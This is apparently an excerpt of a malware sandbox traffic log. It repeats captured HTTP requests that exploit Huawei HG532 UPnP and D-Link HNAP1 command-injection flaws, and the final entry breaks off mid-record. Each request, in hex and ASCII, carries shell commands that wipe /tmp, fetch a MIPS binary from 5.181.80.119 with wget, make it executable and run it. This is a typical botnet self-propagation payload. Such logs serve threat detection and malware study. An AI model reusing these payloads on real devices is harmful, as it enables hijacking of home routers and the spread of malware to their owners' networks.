Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 2e 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips -O /tmp/nightmare; /bin/busybox chmod 777 /tmp/nightmare; /tmp/nightmare selfrep.huawei.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://5.181.80.119/yourbiggestnightmare/yourbiggestnightmare.mips && chmod +x yourbiggestnightmare.mips;./yourbiggestnightmare.mips HNAP.mips`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 517Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 35 2e 31 38 31 2e 38 30 2e 31 31 39 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2f 79 6f 75 72 62 69 67 67 65 73 74 6e 69 67 68 74 6d 61 72 65 2e 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 6e 69 67 68 74 6d 61 72 65 3b 20 2f 62 69 6e 2f 62 75 73 79 